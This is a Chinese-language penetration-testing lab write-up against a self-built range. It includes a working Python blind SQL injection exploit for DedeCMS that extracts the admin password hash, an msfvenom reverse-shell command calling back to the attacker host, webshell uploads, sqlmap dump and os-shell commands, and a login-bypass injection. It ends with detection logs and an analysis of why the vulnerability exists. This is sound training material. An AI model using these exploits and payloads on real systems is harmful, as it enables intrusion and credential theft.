网络安全渗透测试实验
网络安全渗透测试实验
一、环境搭建
网络拓扑图
- Web服务器一:
- 10.10.10.129
- 192.168.126.128
- 数据库服务器:
- 10.10.10.136
- 10.10.1.134
- Kali攻击机:
- 192.168.129.129
1、Web服务器一:
①基本信息
- 操作系统:Windows Server 2008 R2
- 网站管理:护卫神主机大师
- webserver:IIS
- 服务器安全狗
②提供DNS服务
③开启了3个web站点
④设置kali攻击机的DNS服务器,模拟真实渗透测试环境。
kali的dns服务器地址也要设置为192.168.126.128
确保可以ping通
2、数据库服务器:
①基本信息
- 操作系统:Windows Server 2008 r2
- 数据库软件:Microsoft SQL Server
二、信息收集
1、Kali攻击机对同一网段主机发现
①kali的IP地址
- 可知kali所在的网段为:192.168.126.0
②使用Nmap对同一网段进行主机发现扫描
③扫描结果
同一网段下存在另外一台主机为192.168.126.128
2、使用Nmap对目标主机进行端口扫描
①nmap 目标主机Ip
扫描结果可知开放了上述端口。
②使用nmap查看目标端口的详细信息
扫描结果:
nmap -sC -A -p 49154,21,6588,135,80,3389,53,999,49122 192.168.126.128 -oA targer1-port
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-13 08:04 EST
Nmap scan report for 192.168.126.128
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
135/tcp open msrpc Microsoft Windows RPC
999/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Microsoft-IIS/7.5
|_http-title: phpMyAdmin
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WIN-KALKEMT3JMA
| Not valid before: 2021-12-12T08:10:45
|_Not valid after: 2022-06-13T08:10:45
|_ssl-date: 2021-12-13T13:05:41+00:00; 0s from scanner time.
6588/tcp open http Microsoft IIS httpd 7.5
| http-cookie-flags:
| /:
| ASPSESSIONIDCQSQCSAB:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: \xBB\xA4\xCE\xC0\xC9\xF1\xA1\xA4\xD6\xF7\xBB\xFA\xB4\xF3\xCA\xA6 V3.5.1 - \xC7\xB0\xCC\xA8\xB5\xC7\xC2\xBC
49122/tcp closed unknown
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2:sp1
Host script results:
|_nbstat: NetBIOS name: WIN-KALKEMT3JMA, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:47:0d:dc (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.60 seconds
- 结果可以看到各个端口的详细信息,版本信息等等。
3、通过浏览器访问具体的端口应用
①80-http端口---IIS7 WebServer
②999-http端口 phpmyadmin
③6588-http端口 逐级大师---登录面板
4、通过wfuzz进行子域名收集
①命令
通过kali自带的字典进行爆破
②结果
子域名:
http://www.cc123.com
http://ww2.cc123.com
http://new.cc123.com
③依次验证子域名
www.cc123.com
ww2.cc123.com
new.cc123.com
三、Web服务器一渗透测试
1、new.cc123.com渗透测试
在信息收集中,子域名发现了这个子域名,我们访问进去之后,发现是个cms,logo还是织梦,那么必然是大名鼎鼎漏洞百出的dedecms了。
①查看dedecms版本信息
②百度,看有无历史版本漏洞
百度一搜,出现很多这个版本的漏洞。
③测试dedecms默认后台目录dede,和会员登录目录member
可以访问,说明管理员没有修改后台路径。
说明会员中心路径也没有修改,根据网上的帖子,这个版本是存在会员中心注入漏洞的。我们先随便注册一个会员用户
注册成功
④利用用网上公开的exp进行攻击
需要放在同一个目录之下
cookie信息
刷新页面找到cookie
PHPSESSID=fo6no56q6puprgch48q8jc3956; DedeUserID=5; DedeUserID__ckMd5=af34931e1d9c8fe4; DedeLoginTime=1639408657; DedeLoginTime__ckMd5=671d6a9517cf59f8
exp
import sys,os
import urllib2
import time
opener = urllib2.build_opener()
def getCookes():
line = open('cookies.txt','r')
c = line.readline()
line.close()
return c
cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
def exploite(target):
password = ""
for i in range(1,21):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
start_time = time.time()
try:
req = urllib2.Request(s)
req_data=opener.open(req,timeout=10)
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
if time.time() - start_time > 4.0:
password = password+p
print "["+str(now)+"]: "+s1+" -> "+password
except urllib2.URLError,e:
print e;
return password
def myhelp():
print "\n+------------------------------+"
print "| Dedecms 20150618 member sqli|"
print "| mOon www.moonsec.com |"
print "| MTEAM:moon@moonsec.com |"
print "+------------------------------+\n"
def main():
if len(sys.argv)< 2:
myhelp()
sys.exit()
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
print "password is %s" % (exploite(sys.argv[1]))
if __name__ == '__main__':
main()
运行exp
注意:
在运行exp之前,需要在系统设置,添加一个分类。
运行exp结果
得到了管理员账户的密文密码:
812df726be884ddcfc41
在线md5解密
https://www.somd5.com/
管理员密码:admin7788
⑤使用管理员密码登录后台管理界面
通过文件管理器上传一句话木马
上传webshell
通过蚁剑连接WebShell
管理web网站的目录
目前为止的结果
截止目前,我们获取了网站的shell,也就是webshell,但是我么只可以对网站进行一些操作,可以获取到的文件也较少。我们无法控制这台主机。如果想要获取注解的权限,还需要继续提权。
2、提权
①web目录信息——可执行aspx文件
在我们获取到Webshell查看目录的时候,发现有一个文件夹是aspnet_client,说明网站支持asp的脚本。asp的权限功能要比php强大一些。
那么我们下一步上传一个asp马。
②上传asp马
由于asp马过大,会在附件中给出。
③通过浏览器访问asp大马执行命令
输入admin密码,登录webshell。
可以执行cmd命令
既然可以执行cmd命令,那接下来的思路我们就可以在metasploit中生成一个shell,上传到受害主机上面,从而进行下一步操作。
④MetaSploit生成shell
反弹到本机
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.129 lport=12345 -f exe >s.exe
⑤上传shell到web服务器
发现此目录不可写
上传一个检测可写目录的脚本文件wt.asp
浏览器访问此脚本文件
发现目录可写
c:\windows\debug\WIA\
将shell程序上传到这个目录
木马程序上传成功。
⑥msf监听反弹shell的端口
msfconsole
选择exploit/multi/handler模块
设置反弹监听的payload并执行
发现端口没弄对,重新设置一下,记得加l
⑦通过aspx大马,执行cmd命令,运行木马程序
运行之后,查看kali之中的会话session
发现已经连接上了目标服务器,查看一下ip地址:
详细信息:
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:47:0d:dc
MTU : 1500
IPv4 Address : 192.168.126.128
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::8c46:83d6:93f0:b8ac
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 12
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:c0a8:7e80
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 13
============
Name : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:47:0d:e6
MTU : 1500
IPv4 Address : 10.10.10.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::90a:300d:f93e:7c89
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 14
============
Name : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:a0a:a81
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::5efe:a9fe:b8ac
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
查看一下当前的权限
⑧尝试提权
查找是否存在提权可以利用的点
background
use post/multi/recon/local_exploit_suggester
由于msf6在扫描的时候可能出了一些Bug,没有出来结果,通过另外一台老版本的kali,上面有msf5,重新上传木马,扫描一下,发现有以下漏洞可以利用。
可以查找到如下结果:
尝试利用ms16_075_reflection_juicy进行提权
设置对应的端口和会话session
获得系统权限
获取到flag
注意,aspx大马查看HwsHostMaster目录的时候没有权限,所以只能提权到系统权限之后访问。
3、ww2.cc123.com渗透测试
①目录扫描
访问网站,f12看一下响应头,发现是.net的后端。
这个网站全是伪静态页面,没有什么可测试的功能点。
使用目录扫描工具扫描一下网站目录,这里就随便找了一个御剑。
访问一下,有个后台的登录地址。
②测试是否存在弱口令或者SQL注入漏洞
弱口令测试了admin,admin,123456,111111等,没试出来,放弃了,测一下SQL注入漏洞。
输入admin' 123456
结果为
点击确定之后,又跳转到了登录页面,并且验证码也没有改变.
试着后面加注释,注释掉密码
结果成功登进来了后台
猜测其后台登录验证的SQL语句
select * from users username = 'admin'--' and password = '123456';
③寻找是否存在单点漏洞(注入漏洞)
打开burpsuite,看一下后台的功能点,是否存在有?id等url的功能点,这样可以测试sql注入漏洞。
发现在新闻咨询这里,点进去资讯列表中的某一个咨询之后,会以get方式提交?id字段,可能存在注入。
将此数据包的请求复制下来,放到sqlmap里跑一下,看看是否存在sql注入漏洞。
GET /admin/newsadd.aspx?id=537&pid=27 HTTP/1.1
Host: ww2.cc123.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Referer: http://ww2.cc123.com/admin/newslist.aspx?pid=27
Cookie: ASP.NET_SessionId=2i0ppqscy1sa4jw3ug4lhq1v; CheckCode=0LF0; The Cool Site=lao=1
Upgrade-Insecure-Requests: 1
④kali中sqlmap测试
sqlmap测试
这里猜测,asp.net后端连接的数据库是mssql(microsoft sql server)
sqlmap -r sql.txt --dbms mssql -v 1 --batch
可知这里id字段存在注入。
爆库
sqlmap -r sql.txt --dbms mssql -v 1 --batch --dbs
查看当前的db和user
sqlmap -r sql.txt --dbms mssql -v 1 --batch --current-db --current-user
爆表
sqlmap -r sql.txt --dbms mssql -v 1 -D grcms_data --tables
查看admin表中的所有数据
sqlmap -r sql.txt --dbms mssql -v 1 -D grcms_data -T admin --dump
查看是否可以获取系统权限
sqlmap -r sql.txt --dbms mssql -v 1 --batch --os-shell
⑤通过系统shell执行命令
ipconfig
分析
我们在信息收集的时候,是从192.168.126.128进入到了web服务器,获取到了系统权限之后,ipconfig
可以得知,这台服务器还有一个网卡,ip地址是10.10.10.129,而此时我们获得的数据库的os-shell,看到的IP地址是10.10.1.128,与10.10.10.129不在同一个网段,说明了这是一个数据库服务器,整个网站的架构是站库分离的。这样可以使得数据库更加安全。
四、网络靶场攻击检测
1、部署了服务器安全狗
- 具有配置网络防火墙杀毒,检测后门脚本和程序,并告警的功能。
2、攻击行为告警
①文件上传漏洞shell.php检测
在web服务器渗透测试的时候,上传了php木马,然后安全狗迅速告警,给管理员的邮箱发送了告警邮件。
②安全狗日志记录___反弹shell程序分析
可以看到,在日志记录当中,存在有我们用来反弹shell所上传的s.exe后门木马程序,这里的提示是TCP连接,远程连接到攻击机192.168.128.129(kali)的12345端口,所以通过审查日志也可以判断出是否存在后门程序。
③安全狗日志记录___扫描与webshell程序分析
可以看到,通过扫描端口的攻击和webshell的恶意脚本文件也被检测了出来。
3、可视化的安全管理一站式系统
①基础界面
web服务器管理员在服务器安装安全狗之后,无需频繁的到服务器去审查,在可视化的安全管理系统当中,即可看到当前服务器的安全状态。
②威胁分析模块
攻击Dedecms的过程
通过这个模块可以直观的看到攻击的流程,随后即可对服务器进行安全加固。
4、安全加固---网站安全狗
之前我们配置了服务器安全狗,更多的是针对与主机整体的安全。我们还可以安装网站安全狗,加固我们网站的安全。
网站安全狗具有以下功能
通过防范一句话后门可以抵御黑客的攻击,但是黑客也可以通过一些手段进行绕过。
在真实的红蓝对抗环境中,还是需要不断的去加固我们的服务器和网站,通过各种方法来达到信息系统的安全目标!
五、渗透测试过程中所用的到漏洞介绍
1、DedeCMS注入漏洞
dedecms20150618的漏洞分析
①名词解释
-
php gpc
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
在magic_quotes_gpc=On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。
②漏洞成因概述
-
由于 dedecms 使用伪全局变量原因,可导致用户构造任意的 sql 语句,造成注入。
漏洞利用流程:
- 利用_FILE 传递数组
- 绕过 dedecms 的 sql 注入检测机制
- 进行注入
③漏洞细节
-
完整的注入语句
http://192.168.110.135//dedefull/uploads/member/mtypes.php? dopost=save& _FILES[mtypename][name]=.xxxx& _FILES[mtypename][type]=xxxxx& _FILES[mtypename][tmp_name][1' and '.``.mtypeid or if(now() like sysdate(),SLEEP(if(ORD(MID(( SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 ),1,1)) like 54,5,0)),0)%23fuck]=1& _FILES[mtypename][size]=.xxxx
关键理解的点:
- 为什么用_FILE 传数组
- 为什么注入语句写在 tmp_name 后
- 为什么注入语句中有
.``.mtypeid
- 如何绕过 dede 的防注入
-
变量的传递过程
- mtypes.php 文件是一个缺陷文件,只要通过把 $mtypename 构造成数组,并且在把数组的 key 定义为 sql 注入语句,那么便可逃逸全局 GPC。
foreach ($mtypename as $id => $name) { $name = HtmlReplace($name); $query = "UPDATE #@__mtypes SET mtypename='$name' WHERE mtypeid='$id' AND mid='$cfg_ml->M_ID'"; $dsql->ExecuteNoneQuery($query); }
该文件的最后部分为缺陷部分,$id 和 $name 都在查询语句中,但是全局过滤未对数组的key进行过滤,导致 $id 内可以带任何字符,所以我们在$id中构造语句。
由于 dedecms 是一个伪全局的 cms,我们需要把 $mtypename 覆盖出来,那么为什么用_FILE 传输组呢,整个 cms 在变量初始化的过程中,在 uploadsafe.inc.php 中,会预处理_FILE 传入的值,但是这段代码有问题。
foreach($FILES as $_key=>$_value) { foreach($keyarr as $k) { if(!isset($_FILES[$_key][$k])) { exit('Request Error!'); } } if( preg_match('#^(cfg|GLOBALS)#', $_key) ) { exit('Request var not allow for uploadsafe!'); } $$_key = $_FILES[$_key]['tmp_name']; ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
可以在倒数第四行看到一处变量覆盖,取 $_key 作为 key,$_FILES[$_key][‘tmp_name’] 作为 value。
2、ms016-075漏洞(CVE漏洞编号:CVE-2016-3225)
- ms16-075漏洞简介4
- Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
- 名词解释
- msf6
- 在渗透过程中,msf漏洞利用神器是不可或缺的。它是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。
- msf6